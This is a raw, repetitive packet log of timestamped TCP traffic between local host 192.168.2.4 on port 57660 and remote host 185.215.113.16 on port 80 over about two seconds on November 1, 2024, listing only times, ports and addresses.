Nov 1, 2024 08:51:15.995246887 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.995261908 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995263100 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.995276928 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995280027 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.995295048 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995297909 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.995321035 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.995326996 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:15.995326996 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:15.995356083 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.028114080 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.028130054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.028145075 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.028235912 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.068633080 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.068648100 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.068675041 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.068692923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.068698883 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.068706989 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.068722963 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.068746090 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.068758011 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.081305981 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.081331015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.081363916 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.081388950 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.110152960 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.110168934 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.110272884 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.112350941 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.112375975 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.112416029 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.112461090 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.145597935 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.145633936 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.145648003 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.145661116 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.145694017 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.145694017 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.145768881 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.186404943 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.186430931 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.186446905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.186486006 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.186490059 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.186506987 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.186506987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.186538935 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.227607965 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.227634907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.227694035 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.227698088 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.227715015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.227745056 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.227770090 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.263225079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.263254881 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.263267994 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.263282061 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.263338089 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.263371944 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.303848028 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.303909063 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.303925991 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.303941965 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.303966045 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.303971052 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.303987980 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.303993940 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.304008961 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.304009914 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.304023981 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.304034948 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.304048061 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.304049015 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.304064989 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.304069042 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.304079056 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.304100990 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.345432043 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.345498085 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.345516920 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.345565081 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.345623016 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.345654964 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.380949020 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.380970001 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.381002903 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.381025076 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.381025076 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.381114960 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.421624899 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.421660900 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.421689987 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.421717882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.421724081 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.421753883 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.421763897 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.421788931 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.421797037 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.421828032 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.421832085 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.421863079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.421870947 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.421896935 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.421911955 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.421933889 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.421937943 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.421968937 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.421977043 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.422002077 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.422008991 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.422036886 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.422044039 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.422077894 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.620490074 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.620599985 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.620615959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.620632887 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.620651007 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.620659113 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.620659113 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.620666981 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.620682955 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.620687008 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.620697975 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.620707989 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.620713949 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.620728970 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.620737076 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.620738029 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.620748043 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.620752096 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.620771885 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.620774984 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.620784044 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.620807886 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.699647903 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.699697018 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.699723959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.699739933 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.699754953 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.699769974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.699769020 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.699784994 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.699790955 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.699800968 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.699815035 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.699830055 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.699832916 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.699851036 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.699875116 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.733917952 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.733953953 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.733971119 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.733988047 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.734041929 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.734042883 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.776189089 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.776257992 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.776273012 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.776290894 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.776413918 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.779603958 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.817138910 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.817172050 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.817265987 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.817648888 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.851252079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.851294041 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.851326942 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.851398945 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.851486921 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.893706083 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.893729925 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.893758059 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.893774986 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.893793106 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:16.893877029 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:16.893877029 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.084878922 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.084913015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.084928036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.084952116 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.084969044 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.084992886 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.085021019 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.085019112 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.085035086 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.085045099 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.085058928 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.085067987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.085068941 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.085076094 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.085094929 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.085108995 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.085108995 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.085134983 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.085155010 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.086560965 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.086591959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.086630106 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.086659908 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.130405903 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.130430937 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.130449057 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.130491018 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.130541086 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.171283007 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.171356916 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.171375036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.171370983 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.171416998 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.171416998 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.202666044 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.202694893 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.202825069 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.251166105 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.251193047 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.251209974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.251228094 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.251307011 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.251379967 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.288597107 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.288620949 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.288639069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.288712978 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.288760900 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.365436077 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.365484953 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.365503073 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.365520000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.365524054 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.365525007 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.365539074 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.365570068 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.365570068 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.365581036 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.406119108 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.406157017 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.406174898 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.406184912 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.406192064 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.406207085 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.406229973 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.406229973 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.406243086 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.483108997 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.483150005 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.483166933 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.483184099 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.483201027 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.483242035 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.483287096 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.523777962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.523807049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.523823977 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.523924112 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.523924112 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.576844931 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.576896906 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.576930046 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.576972008 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.601002932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.601032972 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.601051092 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.601066113 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.601083994 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.601090908 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.601090908 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.601090908 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.601142883 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.601142883 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.641252995 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.641274929 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.641290903 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.641391039 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.643599987 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.718379974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.718452930 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.718497992 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.718513966 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.718532085 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.718537092 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.718549967 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.718560934 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.718565941 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.718575001 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.718583107 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.718589067 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.718600988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.718611956 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.718621016 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.718637943 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.759007931 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.759031057 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.759048939 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.759140015 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.759166002 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.836200953 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.836234093 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.836246967 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.836291075 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.836307049 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.836319923 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.836333036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.836348057 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.836350918 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.836360931 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.836364985 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.836380959 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.836381912 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.836397886 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.836422920 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.876940966 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.876967907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.876986980 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.877051115 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.877104998 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.953960896 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.953994036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.954010963 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.954026937 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.954042912 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.954057932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.954072952 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.954086065 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.954101086 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.954099894 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.954135895 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.954164028 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.994704008 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.994749069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.994760990 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.994771957 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.994785070 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:17.994878054 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:17.995019913 CET	57660	80	192.168.2.4	185.215.113.16
